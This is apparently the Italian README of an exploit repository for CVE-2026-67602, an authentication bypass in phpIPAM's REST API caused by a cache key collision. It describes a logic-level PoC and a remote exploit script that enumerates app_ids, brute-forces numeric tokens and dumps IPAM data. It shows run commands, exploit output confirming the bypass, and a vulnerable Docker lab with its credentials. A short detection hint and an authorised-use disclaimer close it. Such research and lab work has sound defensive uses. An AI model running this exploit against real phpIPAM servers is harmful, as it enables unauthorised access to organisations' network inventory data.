
Exploit e PoC per CVE-2026-67602, un bypass dell'autenticazione nell'API REST di phpIPAM tramite collisione di chiavi nella cache degli oggetti, inclusi un PoC a livello logico e uno script di exploit remoto.
Bypass dell'autenticazione non autenticato nell'API REST di phpIPAM, causato da
una collisione di chiavi nella cache degli oggetti: la riga del database memorizzata nella cache durante la risoluzione
dell'app_id di un'app API soddisfa il successivo controllo dell'app_code (token) ogni volta
che il token fornito è uguale all'id numerico della riga. Il segreto reale dell'app non viene mai
confrontato.
AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N)app_security = ssl_coded29728f)| File | Scopo |
|---|---|
poc_cache_collision.php | PoC a livello logico. Esegue le implementazioni verbatim vulnerabili (v1.8.1) e corrette (1.8.2) di fetch_object/cache_check/cache_write contro un database simulato e riproduce la sequenza esatta di fetch di una singola richiesta HTTP. Non è necessaria un'installazione di phpIPAM. |
exploit.py | Exploit remoto contro un'istanza live di phpIPAM < 1.8.2: enumera gli app_id validi (400 vs 401), forza bruta sul token numerico (di solito id 1-3) e, opzionalmente, scarica sezioni/sottoreti/VLAN/dispositivi. |
docker-compose.yml | Laboratorio vulnerabile: phpIPAM v1.8.1 + MariaDB, HTTP semplice con IPAM_TRUST_X_FORWARDED=true così le app ssl_code possono essere testate tramite l'header X-Forwarded-Proto. |
$ php poc_cache_collision.php vulnerable
[1] fetch_object('api','app_id','client') -> riga id=2, app_security=ssl_code
[2] fetch_object('api','app_code','2') (header phpipam-token) -> OBJECT (cache hit!)
[3] $app_id == $app_temp->app_id -> AUTENTICATO
$ php poc_cache_collision.php fixed
[2] fetch_object('api','app_code','2') (header phpipam-token) -> false
[3] Risposta: 401 Non autorizzato — token rifiutato
$ docker compose up -d
http://localhost:8080/, procedi con l'installer
(http://localhost:8080/install/), scegli Installazione automatica del
database, utente MySQL root / password phpipamAdminRoot.admin / admin), imposta una nuova password admin quando richiesto.app_id): clientEsegui l'exploit (il flag --xfp soddisfa il controllo HTTPS tramite
X-Forwarded-Proto, di cui il laboratorio si fida):
$ python3 exploit.py http://localhost:8080 --app-id client --xfp --dump
[*] Target: http://localhost:8080
[*] Forza bruta sui token numerici (id di riga) 1..64 per app_id='client'...
[+] BYPASS DELL'AUTENTICAZIONE — phpipam-token: 1 è accettato
[+] Il vero app_code a 32 caratteri dell'app non è mai stato necessario.
[+] GET /api/client/sections/ -> HTTP 200, 1 sezione(i) leggibile(i)
[*] Scaricamento dati IPAM...
d29728f).ssl_code (le altre
modalità di sicurezza non sono interessate da questa collisione di cache)./api/<app_id>/...
con un header phpipam-token puramente numerico — i token legittimi sono
stringhe casuali di 32 caratteri, quindi i token numerici sono un IOC ad alta fedeltà.Questo repository è solo per ricerca difensiva e test di penetrazione autorizzati. Eseguilo solo contro sistemi di tua proprietà o per i quali hai il permesso scritto di testare.